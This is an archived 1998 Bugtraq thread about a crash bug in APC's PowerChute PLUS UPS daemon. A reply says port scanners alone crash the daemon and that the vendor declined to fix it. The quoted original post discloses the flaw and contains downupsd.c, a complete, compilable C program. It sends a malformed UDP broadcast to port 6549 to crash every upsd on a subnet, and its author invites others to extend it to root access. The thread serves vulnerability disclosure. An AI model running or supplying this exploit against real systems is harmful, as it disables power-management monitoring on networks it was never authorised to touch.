Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: APC UPS PowerChute PLUS exploit...
From: rap () UCLINK BERKELEY EDU (Richard Peters)
Date: Mon, 13 Apr 1998 00:15:28 -0700


You don't need a specific exploit program to crash PowerChute software.  Some port-scanners will crash it.  We 
contacted PowerChute several months ago.  Here's what the person who contacted them reported.

        I talked with the unix group at APC (the vendor for the UPS)
        about the problem of the ups daemon (_upsd) dying when another
        process such as a port scanner accessing the port thru which
        it runs. I filed trouble report #792505. They said this
        result is expected of the ups daemon not only on unix systems
        but also other operating systems such as NT.  No work-around is
        being resolved by them unless enough customers complained.
        The only solution for us is to develop a script to monitor ...

..Richard Peters

At 11:13 PM -0400 4/10/98, Theo Schlossnagle wrote:
I run Solaris x86 (2.5, 2.5.1, 2.6).  I have a APC Smart UPS 700 (Model
shouldn't matter for the exploit).  Exploit in PowerChute PLUS v4.2.2

The PowerChute PLUS software distributed with the UPSs provides a TCP/IP
(UDP/IP) way to communicate with (for monitoring) UPS on the local subnet.
It listens on port 6549 and listens for broadcast requests (UDP).
So if you make as if you are actually requesting information, but send it
the wrong packet... Well end of ./_upsd (the name of the daemon).
I assume an exploit could be tailored to leverage root privileges.
The REALLY BAD news is that ALL upsd's on the subnet are effected (UDP
broadcast)

I would wager that this is not only a problem on Solaris x86.  If anyone
finds this to work on other platforms I would love to know, also if
someone tailors it to gain root or other interesting things, I would love
to here about it.

I spoke with APC (www.apcc.com) and they blew me off.  Forwarded the issue
to their techinical crew, but I never heard word again.

Here goes:

----- begin downupsd.c -----
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char **argv) {
int s;
long on=1;
size_t addrsize;
char buffer[256];
struct sockaddr_in toaddr, fromaddr;
struct hostent h_ent;

if(argc!=2) {
 fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]);
 exit(0);
}
s = socket(AF_INET,SOCK_DGRAM,0);
setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));

printf("Crashing upsd on host's subnet: %s\n", argv[1]);

toaddr.sin_family = AF_INET;
toaddr.sin_port = htons(0);
toaddr.sin_addr.s_addr = 0x00000000;
bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in));
toaddr.sin_port = htons(6549);
memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent));
memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr));
toaddr.sin_addr.s_addr |= 0xff000000;
strcpy(buffer, "027|1|public|9|0|0|2010~|0\0");
sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr,
      sizeof(struct sockaddr_in));

printf("Crashed...\n");
close(s);

}
------- end downupsd.c -----


Theo Schlossnagle
jesus () cs jhu edu
That jesus guy



  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault